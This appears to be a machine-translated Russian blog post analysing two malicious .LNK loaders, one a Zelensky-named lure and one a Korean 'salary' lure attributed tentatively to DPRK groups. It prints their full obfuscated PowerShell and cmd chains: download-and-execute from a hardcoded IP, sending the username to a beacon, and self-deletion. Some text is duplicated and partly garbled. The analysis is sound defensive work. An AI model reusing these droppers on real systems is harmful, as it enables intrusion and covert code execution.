Изучение двух различных вредоносных загрузчиков, злоупотребляющих .LNKфайлы в качестве начального доступа.
Недавно я столкнулся с двумя различными загрузчиками вредоносных программ, использующими .LNKфайлы в качестве начального доступа — и оба имели несколько интересных слоев, в которых стоило покопаться. В любом случае, это не полноценный очерк или что-то в этом роде. Просто я снова вхожу в привычку анализировать и делиться вещами. Я был вне игры некоторое время, так что это скорее разминка. Если вы заметите что-то странное, неправильное или просто захотите поразвлечься — дайте мне знать.
Недавно я наткнулся на этот подозрительный ZIP-файл — хэш: 6f54fc6f038b508be2318c26b75bda0be93522fa86d60deebbfe13c7a27ea8d8. После расстегивания он выпал .LNKфайл с именем вроде ЗЕЛЕНСЬКИЙ.М.В..docx.lnk.
Примечание: у меня был только загрузчик для работы. Серверы C2 были мертвы, и я не мог получить основную полезную нагрузку (AppCheckS.exe) или какой-либо ложный документ. Все здесь из статического анализа и наблюдения за его поведением.
Это классический старт социальной инженерии. Файл LNK использует двойной .docx.lnkрасширение с кириллическим именем для привлечения нетехнических пользователей, возможно, ориентированное на русскоязычную аудиторию.
The .LNKfile — это настоящая вещь. Он не запускает документ, а вместо этого вызывает скрипт PowerShell с несколькими этапами:
-win 1 eChO ikLUwJJXohZoLaHEBFtdWEvLWq;
if (-not(Test-Path 'calipash.z''i''p' -PathType Leaf)){
&(Get-Command in???e-webr**) -uri ht''tp'':/''/3''8.''18''0.''49''.8''7/calipash.z''i''p -OutFile calipash.z''i''p
};
sleep 0.01; Measure-Object | Out-Null;
eChO uGLxDhDxxfNjkAkreOIPzbprHbWqxfyhhEiZWFLcwdbltXGKhtCnXFfst;
$Hehe = 'Expand-Archive -Path calipash.z''i''p -DestinationPath x64Updtr';
iex -Debug -Verbose -ErrorVariable $e -InformationAction Ignore -WarningAction Inquire $Hehe;
NotHehe = 'st''ar''t x64Updtr/AppCheckS.e''x''e';
iex -Debug -Verbose -ErrorVariable $ee -InformationAction Ignore -WarningAction Inquire $NotHehe;
&(Get-Command in???e-webre************************) -uri ht''tp'':/''/3''8.''18''0.''49''.8''7/dannya/database_response_invalid_error_code_702.docx -OutFile database_response_invalid_error_code_702.docx;
sleep 0.01; Get-Process | Out-Null;
st''ar''t database_response_invalid_error_code_702.docx;
Я также не смог найти никаких надежных ссылок на предыдущие вредоносные кампании, связанные с ним. Тем не менее, способ использования инфраструктуры — одноразовые C2, мертвые к тому времени, как мы на них наступаем — типичен для определенных в стиле APT . операторов
Давайте будем честны — это тщательное наблюдение, а не подтвержденная атрибуция. У нас нет доступа к полному вредоносному ПО, только к загрузчику. Инфраструктура не работает, а содержимое ZIP-файла ограничено. Поэтому весь анализ основан на том, что у нас есть.
Итак, я наткнулся на этот файл .LNK на днях. Сначала он показался мне каким-то базовым дроппером, ничего необычного. Но после того, как я его посмотрел, единственное, что меня заинтересовало, это то, как он, вероятно, связан с КНДР.
Внутри .LNK
Использовал 010 Editor + LNK templates для чтения между байтами. Вот что выделялось:
Ниже представлен полный набор PowerShell/Batch, встроенный в .lnk цель:
/v
n /k "for /f %a in ('whoami') do (set myuser=%a&set myuser=!myuser:\=/!&curl /f \"tokens=*\" %a in ('dir C:\Windows\System32\*rshell.exe /s /b /od') do call %a -WindowStyle Minimized \"$DirPath=Get-Location;if ($DirPath -Match 'System32' -or $DirPath -Match 'Program Files' -or $DirPath -eq ''){$DirPath=$env:TEMP;}$Files=Get-ChildItem -Path $DirPath -Recurse -Filter '월급.lnk';$lnkF='';foreach ($File in $Files){$lnkF=$File.FullName;};$StartA=0;$fileBytes=Get-Content -Path $lnkF -Encoding Byte -Raw;$a5=0x25;$b4=0x50;$c3=0x44;$d4=0x46;for ($i=0;$i -lt $fileBytes.Length;$i++){if ($fileBytes[$i] -eq $a5){if ($fileBytes[$i+1] -eq $b4){if ($fileBytes[$i+2] -eq $c3){if ($fileBytes[$i+3] -eq $d4){$startA=$i;break;}}}}}$byteC=58461;$NormalF=$lnkF -replace 'lnk','pdf';$selectedBytes=$fileBytes[$startA..($startA+$byteC-1)];Set-content -Path $NormalF -Value $selectedBytes -Encoding Byte;ii $NormalF;timeout /t 2;Remove-Item -Path $lnkF;\"&cls&exit"
cmd.exe /v
n /k
for /f %a in ('whoami') do (...)
for /f "tokens=*" %a in ('dir ... *rshell.exe') do call %a
Полезная нагрузка PowerShell:
$DirPath = Get-Location
if ($DirPath -Match 'System32' -or $DirPath -Match 'Program Files' -or $DirPath -eq '') {
$DirPath = $env:TEMP
}
$Files = Get-ChildItem -Path $DirPath -Recurse -Filter '월급.lnk'
foreach ($File in $Files) { $lnkF = $File.FullName }
$fileBytes = Get-Content -Path $lnkF -Encoding Byte -Raw
$a5 = 0x25; $b4 = 0x50; $c3 = 0x44; $d4 = 0x46
for (...) { if ($fileBytes[i..i+3] -eq %PDF) { $startA = i; break } }
$byteC = 58461
$selectedBytes = $fileBytes[$startA..($startA+$byteC-1)]
$NormalF = $lnkF -replace 'lnk','pdf'
Set-Content -Path $NormalF -Value $selectedBytes -Encoding Byte
ii $NormalF
Remove-Item -Path $lnkF
Я не бросаюсь атрибуцией легкомысленно. Но если вы отслеживали КНДР, это может показаться слишком знакомым:
Признаки, указывающие на APT-группы, связанные с КНДР (например, Lazarus, Kimsuky, Andariel) :
Хотя эти ТТП и не являются окончательными, они соответствуют кампаниям, которые ранее приписывались:
По какой-то причине это больше похоже на загрузчик для тест-драйва, чем на полностью активный вектор заражения. Использование заглушек C2 и полусырой функциональности предполагает, что это либо часть продолжающейся кампании, которая все еще находится в разработке, либо новая, которая вот-вот начнется.
Оба загрузчика .LNK были довольно крутыми для того, чтобы поковыряться, но да, они оставили меня в подвешенном состоянии без каких-либо важных ответов. Я даже не собирался это писать, но я пытаюсь вернуться к регулярному ведению записей. Так что спасибо, что заглянули! Если я где-то ошибся, я обязательно исправлю это в следующий раз.
Введение
Недавно я столкнулся с двумя различными загрузчиками вредоносных программ, использующими .LNKфайлы в качестве начального доступа — и оба имели несколько интересных слоев, в которых стоило покопаться. В любом случае, это не полноценный очерк или что-то в этом роде. Просто я снова вхожу в привычку анализировать и делиться вещами. Я был вне игры некоторое время, так что это скорее разминка. Если вы заметите что-то странное, неправильное или просто захотите поразвлечься — дайте мне знать.
Часть 1: изучение первого загрузчика LNK
Введение
Недавно я наткнулся на этот подозрительный ZIP-файл — хэш: 6f54fc6f038b508be2318c26b75bda0be93522fa86d60deebbfe13c7a27ea8d8. После расстегивания он выпал .LNKфайл с именем вроде ЗЕЛЕНСЬКИЙ.М.В..docx.lnk.
Примечание: у меня был только загрузчик для работы. Серверы C2 были мертвы, и я не мог получить основную полезную нагрузку (AppCheckS.exe) или какой-либо ложный документ. Все здесь из статического анализа и наблюдения за его поведением.
Этап 0:
- Имя файла: Неизвестно (ссылка на SHA256)
- SHA256: 6f54fc6f038b508be2318c26b75bda0be93522fa86d60deebbfe13c7a27ea8d8
- Содержание: ЗЕЛЕНСЬКИЙ.М.В..docx.lnk
- Упаковка: Простой ZIP-архив, без папок.
Это классический старт социальной инженерии. Файл LNK использует двойной .docx.lnkрасширение с кириллическим именем для привлечения нетехнических пользователей, возможно, ориентированное на русскоязычную аудиторию.
Этап 1: Полезная нагрузка LNK
The .LNKfile — это настоящая вещь. Он не запускает документ, а вместо этого вызывает скрипт PowerShell с несколькими этапами:
-win 1 eChO ikLUwJJXohZoLaHEBFtdWEvLWq;
- Просто какая-то мусорная команда echo, вероятно, чтобы сбить с толку базовые сканеры.
if (-not(Test-Path 'calipash.z''i''p' -PathType Leaf)){
&(Get-Command in???e-webr**) -uri ht''tp'':/''/3''8.''18''0.''49''.8''7/calipash.z''i''p -OutFile calipash.z''i''p
};
- Проверяет, если calipash.zipсуществует. Если нет, то он загружает его с .
- 'zi''p' и ht''tp'используются для разделения строк и избежания обнаружения.
- Использует Invoke-WebRequest или Invoke-WebClientчерез шаблон подстановочных знаков in???e-webr**.
sleep 0.01; Measure-Object | Out-Null;
- Небольшая задержка и фиктивные команды для работы с песочницами.
eChO uGLxDhDxxfNjkAkreOIPzbprHbWqxfyhhEiZWFLcwdbltXGKhtCnXFfst;
- Еще одно мусорное эхо.
$Hehe = 'Expand-Archive -Path calipash.z''i''p -DestinationPath x64Updtr';
iex -Debug -Verbose -ErrorVariable $e -InformationAction Ignore -WarningAction Inquire $Hehe;
- Распаковывает архив в папку x64Updtr.
- Использует Invoke-Expressionдля динамического выполнения PowerShell.
NotHehe = 'st''ar''t x64Updtr/AppCheckS.e''x''e';
iex -Debug -Verbose -ErrorVariable $ee -InformationAction Ignore -WarningAction Inquire $NotHehe;
- Запускает извлеченный EXE-файл.
- Запутывание последовательно ( st''ar''t, e''x''e).
&(Get-Command in???e-webre************************) -uri ht''tp'':/''/3''8.''18''0.''49''.8''7/dannya/database_response_invalid_error_code_702.docx -OutFile database_response_invalid_error_code_702.docx;
- Пытается загрузить файл docx с
- database_response_invalid_error_code_702.docxскорее всего, это поддельный документ или вторичный загрузчик.
sleep 0.01; Get-Process | Out-Null;
- Еще одна короткая пауза и бесполезная команда, которая сбивает с толку инструменты анализа.
st''ar''t database_response_invalid_error_code_702.docx;
- Открывает этот .docx, чтобы все выглядело законно.
Сводка потока инфекции
- Пользователь открывает LNK, думая, что это документ.
- PowerShell включается незаметно.
- Он загружает и распаковывает ZIP-архив.
- Запускает подозрительный EXE-файл.
- Пытается загрузить DOCX (вероятно, приманку).
- Открывает DOCX для завершения иллюзии.
IP
- 38.180.49.87
На момент написания этого IP упал. Пробовал сканировать и запрашивать его — ничего. Нет открытых портов, нет HTTP-ответа, ничего.
Я также не смог найти никаких надежных ссылок на предыдущие вредоносные кампании, связанные с ним. Тем не менее, способ использования инфраструктуры — одноразовые C2, мертвые к тому времени, как мы на них наступаем — типичен для определенных в стиле APT . операторов
Атрибуция?
Давайте будем честны — это тщательное наблюдение, а не подтвержденная атрибуция. У нас нет доступа к полному вредоносному ПО, только к загрузчику. Инфраструктура не работает, а содержимое ZIP-файла ограничено. Поэтому весь анализ основан на том, что у нас есть.
- Имя файла: ЗЕЛЕНСЬКИЙ.М.В..docx.lnk: Это имя Зеленского. Это не случайность. Это целенаправленный крючок, вероятно, для ловли кого-то, связанного с Украиной или политикой.
- Схема действий знакома — двойные расширения, запутанный PowerShell, одноразовые серверы и поддельный документ в конце.
- Стиль доставки и использование поддельного средства запуска документов напоминают методы, которые мы видели у связанных с Северной Кореей APT-групп (например, APT37, Kimsuky) и даже у некоторых российских злоумышленников , участвующих в гибридных военных операциях.
- Но без полезной нагрузки или активных серверов я не буду показывать пальцем. Хотя это похоже на шаг национального государства, особенно с учетом украинского аспекта.
Часть 2: Изучаем второй загрузчик LNK
Введение
Итак, я наткнулся на этот файл .LNK на днях. Сначала он показался мне каким-то базовым дроппером, ничего необычного. Но после того, как я его посмотрел, единственное, что меня заинтересовало, это то, как он, вероятно, связан с КНДР.
- Цель: Вероятный первоначальный доступ, замаскированный под законную приманку.
- Предполагаемая атрибуция: TTP пересекается с группами Kimsuky и Konni APT
- Примечание: Как и в случае с последним загрузчиком .LNK, мы не получили в свои руки основной файл .LNK (월급.lnk). Поэтому все здесь взято из статического анализа и наблюдения за его поведением.
Этап 0:
- Тип: .LNK
- Размер: 3,78 КБ
- Имя: plum.lnk
- Хэш: 065f4a69119449bcbd777a96674ea52553ec282127731980476c7b4da69471c8
- ВирусВсего: 21/62
Этап 1: Полезная нагрузка LNK
Внутри .LNK
Использовал 010 Editor + LNK templates для чтения между байтами. Вот что выделялось:
- Цель команды:
cmd.exe, связанный с логикой PowerShell - Рабочий директор:
C:\Users\kangb\OneDrive\Desktop - АРГУМЕНТЫ КОМАНДНОЙ СТРОКИ:
Ниже представлен полный набор PowerShell/Batch, встроенный в .lnk цель:
/v
cmd.exe /v
- Позволяет отложенное расширение переменной. Необходимо для динамических трюков с переменными, таких как !myuser!.
for /f %a in ('whoami') do (...)
- Получает текущее имя пользователя.
- Заменяет \ с /чтобы сделать его URL-безопасным.
- Отправляет имя пользователя на URL-адрес маяка ( google[.]com/112.jsp). Скорее всего, это заполнитель.
for /f "tokens=*" %a in ('dir ... *rshell.exe') do call %a
- Ищет переименованный двоичный файл PowerShell (возможно, rshell.exe).
- Вызывает его свернутым для выполнения оставшейся части полезной нагрузки.
Полезная нагрузка PowerShell:
$DirPath = Get-Location
if ($DirPath -Match 'System32' -or $DirPath -Match 'Program Files' -or $DirPath -eq '') {
$DirPath = $env:TEMP
}
- При запуске в защищенной папке переключается во временный каталог.
$Files = Get-ChildItem -Path $DirPath -Recurse -Filter '월급.lnk'
foreach ($File in $Files) { $lnkF = $File.FullName }
- Ищет файл с именем «월급.lnk» (корейский: «Salary.lnk»).
- Вероятно, это файл, на который изначально нажали.
$fileBytes = Get-Content -Path $lnkF -Encoding Byte -Raw
- Читает LNK-файл в двоичном режиме.
$a5 = 0x25; $b4 = 0x50; $c3 = 0x44; $d4 = 0x46
for (...) { if ($fileBytes[i..i+3] -eq %PDF) { $startA = i; break } }
- Поиск заголовка PDF-файла: %PDF→ 0x25 0x50 0x44 0x46
$byteC = 58461
$selectedBytes = $fileBytes[$startA..($startA+$byteC-1)]
- Извлекает следующие 58 КБ, предполагая, что это допустимый поддельный PDF-файл.
$NormalF = $lnkF -replace 'lnk','pdf'
Set-Content -Path $NormalF -Value $selectedBytes -Encoding Byte
ii $NormalF
Remove-Item -Path $lnkF
- Записывает PDF-файл на диск, открывает его и удаляет оригинал. .lnk файл.
Сводка потока инфекции
- Пользователь нажимает plum.lnk
- .LNK запускает cmd.exe, который захватывает имя пользователя и отправляет его на URL (google[.]com/112.jsp).
- CMD ищет переименованный двоичный файл PowerShell (например, rshell.exe) и незаметно запускает его.
- PowerShell проверяет текущую папку. Если это где-то вроде System32 или Program Files, он переключается на временный каталог.
- Он ищет другой файл .LNK с именем 월급.lnk (по-корейски «зарплата»).
- Считывает этот .LNK как необработанные байты, ищет заголовок %PDF, чтобы найти встроенный PDF.
- Извлекает ~58 КБ данных, сохраняет их как файл .pdf и открывает, чтобы они выглядели как настоящие.
- Удаляет оригинальный .LNK, чтобы замести следы.
Подсказки об авторстве — почему это кажется связанным с КНДР
Я не бросаюсь атрибуцией легкомысленно. Но если вы отслеживали КНДР, это может показаться слишком знакомым:
Признаки, указывающие на APT-группы, связанные с КНДР (например, Lazarus, Kimsuky, Andariel) :
- Использование корейского языка ( 월급.lnk) – Мощная приманка социальной инженерии, нацеленная на местных пользователей.
- Извлечение файлов со встроенным вредоносным контентом — тактика, применяемая в имплантах Lazarus.
- Активное использование PowerShell, минимум внешних инструментов — соответствует принципам Kimsuky и Lazarus.
- Поведение C2 замаскировано в домене Google – TTP совпадает с предыдущими наборами фишинговых атак Lazarus.
Хотя эти ТТП и не являются окончательными, они соответствуют кампаниям, которые ранее приписывались:
- Модули шпионского ПО и кражи данных Kimsuky
- Вложения Office/PDF, превращенные в оружие Лазаруса
- Использование Андариэль .lnkдля бокового перемещения и стадий капельницы
По какой-то причине это больше похоже на загрузчик для тест-драйва, чем на полностью активный вектор заражения. Использование заглушек C2 и полусырой функциональности предполагает, что это либо часть продолжающейся кампании, которая все еще находится в разработке, либо новая, которая вот-вот начнется.
Подведение итогов
Оба загрузчика .LNK были довольно крутыми для того, чтобы поковыряться, но да, они оставили меня в подвешенном состоянии без каких-либо важных ответов. Я даже не собирался это писать, но я пытаюсь вернуться к регулярному ведению записей. Так что спасибо, что заглянули! Если я где-то ошибся, я обязательно исправлю это в следующий раз.